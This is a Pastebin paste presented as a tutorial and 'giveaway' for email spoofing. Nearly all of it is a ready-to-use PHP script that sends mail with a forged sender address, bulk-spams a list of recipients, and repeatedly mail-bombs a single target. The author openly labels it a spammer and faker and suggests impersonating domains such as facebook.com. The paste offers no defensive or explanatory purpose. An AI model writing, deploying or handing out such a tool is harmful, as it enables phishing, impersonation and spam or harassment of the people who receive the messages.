FreeData

Email Spoofing With PHP Code

Oct 3rd, 2015
264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. what is email spoofing?". Well, it's pretty simple. It's faking an email, real or fake.
  2.  
  3.  
  4. It can be legit like email@facebook.com or fake like fakeemails@fakemailsunited.org
  5.  
  6.  
  7. Anything is possible.
  8.  
  9.  
  10. To the tutorial babies.
  11. All you need is one basic file in PHP, which in fact, you can copy and paste.
  12. (Note this tutorial includes, an email spammer, and faker)
  13.  
  14.  
  15. Heres index.php:
  16.  
  17. Code: [Select]
  18.  
  19. <h1>Email Spoof</h1> <p><b>USE AT OWN RISK</b></p> <? // error_reporting (0); if(!set_time_limit(0)) { $limit = false; } else { set_time_limit(0); ignore_user_abort(1); $limit = true; } $log = 'log.txt'; // Log file ini_set('max_execution_time', '0'); ?> <? $ip = getenv('REMOTE_ADDR'); if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3') { $_POST['to'] = stripslashes($_POST['to']); $_POST['msg'] = stripslashes($_POST['msg']); $_POST['from'] = stripslashes($_POST['from']); $_POST['subject'] = stripslashes($_POST['subject']); if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe']) { $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n"; $headers .= "From: ".$_POST['from']; $fz=$headers; if($_GET['mail'] == '1') { mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); } elseif($_GET['mail'] == '2') { $_POST['to'] = explode("\n",$_POST['to']); foreach($_POST['to'] as $poluchatels) { mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); } } elseif($_GET['mail'] == '3') { if(preg_match('/[0-9]+/',$_POST['kol'])) { $f = fopen($log,'a'); fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n"); fclose($f); for($i=0;$i<$_POST['kol'];$i++) { $r=rand(1,10000); $headers=$fz.$r."\n"; mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); sleep(1); $headers=$fz; } } else { echo('Incorrect (or not entered) number of messages'); } } $f = fopen($log,'a'); fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n"); fclose($f); echo('<center><b><font color="green">Message succesfully sent</font></b></center>'); } else { ?> <form style="width:350px" method='post'> <? if($_GET['mail'] == '1' || $_GET['mail'] == '3') { echo("Receiver &nbsp;<input type='text'name='to'><br>"); } ?> Sender <input type='text' name='from'><br> Subject &nbsp;<input type='text' name='subject'><br> <? if($_GET['mail'] == '3') { echo("Amount of messages <input type='text' name='kol'><br>"); } ?> <br> htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br> <? if($_GET['mail'] == '2') { echo("Receivers<br><textarea name='to' rows='10' cols='30'>abc@gmail.com xyz@yahoo.com zzz@zzzz.com</textarea>"); } ?> <br>Message<br> <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'> </form> <? } } else { ?><br> <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple fake message</a><br> <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam 1</a><br><a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Spam 2</a><br> <?
  20. }
  21.  
  22.  
  23. - Code Finish Here :)
  24.  
  25. If this doesn't work, its because of spacing and you should see http://prestoapps.org/mailspoof/script.js
  26.  
  27. It runs on toggle() in JS.[/font][/size]
  28. Not much of a tutorial, more of a giveaway.[/font][/size]
  29. Please note that email spoofing needs a website to be run on, and emails can be limited on servers, and it may not be included at all. SO check with your hosting provider.
Add Comment
Please, Sign In to add comment